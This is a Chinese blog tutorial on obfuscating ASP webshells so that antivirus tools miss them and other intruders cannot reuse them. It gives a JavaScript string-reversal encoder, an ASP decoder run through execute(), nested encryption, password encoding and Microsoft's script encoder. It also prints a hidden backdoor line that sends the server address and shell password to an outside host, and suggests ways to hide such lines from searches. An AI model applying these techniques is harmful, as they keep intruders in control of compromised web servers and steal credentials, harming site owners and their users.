大馬加密
[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!
大家在入侵中應(yīng)該是撿到過(guò)別人的Webshell吧?也許有的大馬功能很好,于是你就用了,但是你沒(méi)想過(guò)該馬可能有后門(mén)?現(xiàn)在很多的大馬都加密了,打開(kāi)時(shí)候一片亂碼,是不是也想加密自己的大馬了,加密后的Webshell不僅可以防止別人撿我們的Shell用,還能免殺webshell。ASP木馬加密不難,讓我們一起踏上大馬加密之旅。
一:人工加密
1.主加密函數(shù)的編寫(xiě)
1)主解密與解密函數(shù)
對(duì)大馬的加密關(guān)鍵是編寫(xiě)我們的加密函數(shù),然后寫(xiě)出相應(yīng)的解密函數(shù)。我這里先得對(duì)幾個(gè)ASP自帶函數(shù)有個(gè)了解
CHR:將ASCII 字碼轉(zhuǎn)換成字符
REPLACE:將一個(gè)字符串取代 部份字。
ASC:將字符串的第一字母轉(zhuǎn)換成 ANSI (美國(guó)國(guó)家標(biāo)準(zhǔn)符號(hào))字碼。
Len:取得字符串的長(zhǎng)度。
然后對(duì)IF語(yǔ)句和一些VBS函數(shù)相關(guān)知識(shí)有個(gè)了解。大家有不懂可以查看Windows腳本技術(shù),里面比較詳細(xì)。
我們先看下一個(gè)最常用的解密函數(shù)吧。
dim ShiSan,ShiSanNewstr,ShiSanI |
這個(gè)解密函數(shù)就是將加密后的代碼解密。他先將解密代碼(Str)中的╁換為引號(hào)("),得到Str1,然后通過(guò)FOR循環(huán),將加密部分(Str1)逐個(gè)取出,將取出的字符倒敘連接成一個(gè)新字符,并將╋換為vbcrlf(換行符)。這個(gè)加密函數(shù)應(yīng)用的相當(dāng)廣泛,就連華夏免殺Webshell也用了這個(gè)函數(shù)
好了。知道加密的原理后我們就可以編寫(xiě)自己的加密函數(shù)了。ASP的加密函數(shù)只需要將上面的部分稍微改下,但是需要可以執(zhí)行的環(huán)境(本地IIS或上傳到服務(wù)器)。這里我給出了JS+HTML寫(xiě)的加密網(wǎng)頁(yè)
---------->JS+HTML加密:
<html> <script script="JavaScript"> function enCode(theText) { output=new String; TextSize=theText.length; for (i = 0; i < TextSize; i++) { if(theText.charCodeAt(i)=="13") { output="鵬"+output; } else if(theText.charCodeAt(i)=="10") { output+=""; } else { output=theText.charAt(i)+output; } } return output } </script> <form name=encform onsubmit="return false;" /> <textarea name=box1 rows=16 cols=120></textarea> <br /> <input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br /> <textarea name=box2 rows=16 cols=120></textarea> </form> </form> </html> |
保存為html格式然后用IE打開(kāi),將需要加密的部分填寫(xiě)上,然后點(diǎn)擊按鈕"加密到下面文本框" ,就可以得到加密后的字符串了。
上面的加密函數(shù)是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬,得到Code1,然后將Code1倒序(13和10分別是回車(chē)和換行的編碼)。比如:
Sub RRS(str)
response.write(str)
End Sub
加密后就為
buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS
寫(xiě)了加密函數(shù)后就要寫(xiě)出對(duì)于的解密函數(shù),必須用ASP編寫(xiě)
dim psEncode,psStr,psI Function unCode(psEncode) For psI=1 To Len(psEncode) If Mid(psEncode,psI,1)<>"鵬" Then psNewStr=Mid(psEncode,psI,1)&psNewStr Else psNewStr=vbCrlf&psNewStr End If Next unCode=psNewStr End Function |
這樣我們就可以將ASP中的RRS函數(shù)用
execute(unCode("buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS"))
代替掉
Sub RRS(str)
response.write(str)
End Sub
我們可以利用這個(gè)加密函數(shù)加密多處,這樣多加密一般可以免殺大馬
(2)加密解密函數(shù)
直接調(diào)用解密函數(shù),很容易使自己的解密函數(shù)泄露,我們可以利用一個(gè)函數(shù)來(lái)加密我們的加密函數(shù),這樣就難找一點(diǎn)了,這主要是為了保護(hù)我們的馬,對(duì)于上面我們的解密函數(shù),我們可以再寫(xiě)一個(gè)加密函數(shù),然后調(diào)用execute來(lái),這樣就可以隱藏我們的解密函數(shù)了。這樣我們解密函數(shù)的源代碼就不會(huì)明文出現(xiàn)在webshell里了
(3)嵌套加密
我們可以在主加密函數(shù)里面嵌套次加密函數(shù),不過(guò)這樣我們需要對(duì)應(yīng)的寫(xiě)出多個(gè)解密函數(shù),這樣加密比較側(cè)地,小破孩就馬就是采用這種加密方法。由于方法相同,我就不多啰嗦了,大家有興趣可以自己去研究下幽月或小破孩的,我這里有源碼,想要的可以到我博客(hi.baidu.com/novaa)
2.密碼的加密
大家是否遇見(jiàn)過(guò)webshell的密碼是很長(zhǎng)的數(shù)字,20多位或30多位。這就是對(duì)密碼加密了的,通過(guò)對(duì)密碼加密,可以防止別人通過(guò)查看我們的源代碼得到我們的密碼,除非他完全解密了我們的webshell,否則我們大馬就是安全的。這里看一個(gè)對(duì)密碼加密的函數(shù)。
Function enPass(psStr,Pos) Dim i,psNewStr For i = 1 To Len(psStr) psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos) Next enPass =psNewStr End Function |
上面的這個(gè)加密函數(shù)是對(duì)每一位密碼的數(shù)字取ascii碼,然后加上Pos & (20080808-Pos)&i,這里注意&是連接字符,比如n&ov&aa結(jié)果是novaa
然后我們把解密后的部分定義為UserPass
然后在驗(yàn)證的地方通過(guò)
enPass(request.form("pass"),pn)=UserPass 來(lái)進(jìn)行身份驗(yàn)證,當(dāng)然,通過(guò)修改密碼的驗(yàn)證方式可以輕松的修改密碼,但是前提是你已經(jīng)完全解密了這個(gè)webshell了。
3.后門(mén)的隱藏技術(shù)
怎么隱藏后門(mén)?其實(shí)主要就利用ASP的自帶函數(shù)和一些其他技巧,這里我以破小孩后門(mén)來(lái)解釋
RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
這個(gè)和幽月的后門(mén)隱藏技術(shù)差不多,都是利用了ASCII編碼和HTML編碼,CHR(37)是"/",我們把它還原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
這里我們可以做的更隱蔽些。
1.我們查找后門(mén)的時(shí)候一般是利用查找有UserPass的地方,因此,我們可以利用enPass(request.form("pass"),pn)賦值給另一個(gè)變量canyou,然后把&p="&UserPass&"換為&p="&canyou&"
2.我們可以利用webshell里面自帶的常量來(lái)代替http,以為http也是經(jīng)常用來(lái)找后門(mén)的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"這里就有HTTP,我們利用Right函數(shù)來(lái)取得Sot(13,0) 右邊的4個(gè)字符,然后代替后門(mén)中的HTTP
二:工具加密
利用微軟的腳本加密工具screnc.exe對(duì)我們初步加密的webshell進(jìn)行再次的加密,這樣我們的webshell就完全成了一堆亂碼了
有了上面的加密知識(shí),相信大家很快可以掌握ASP的解密,方法都是一樣的,然后大家就可以玩玩除后門(mén)了。
問(wèn)題未解決?付費(fèi)解決問(wèn)題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信
所寫(xiě)所說(shuō),是心之所感,思之所悟,行之所得;文當(dāng)無(wú)敷衍,落筆求簡(jiǎn)潔。 以所舍,求所獲;有所依,方所成!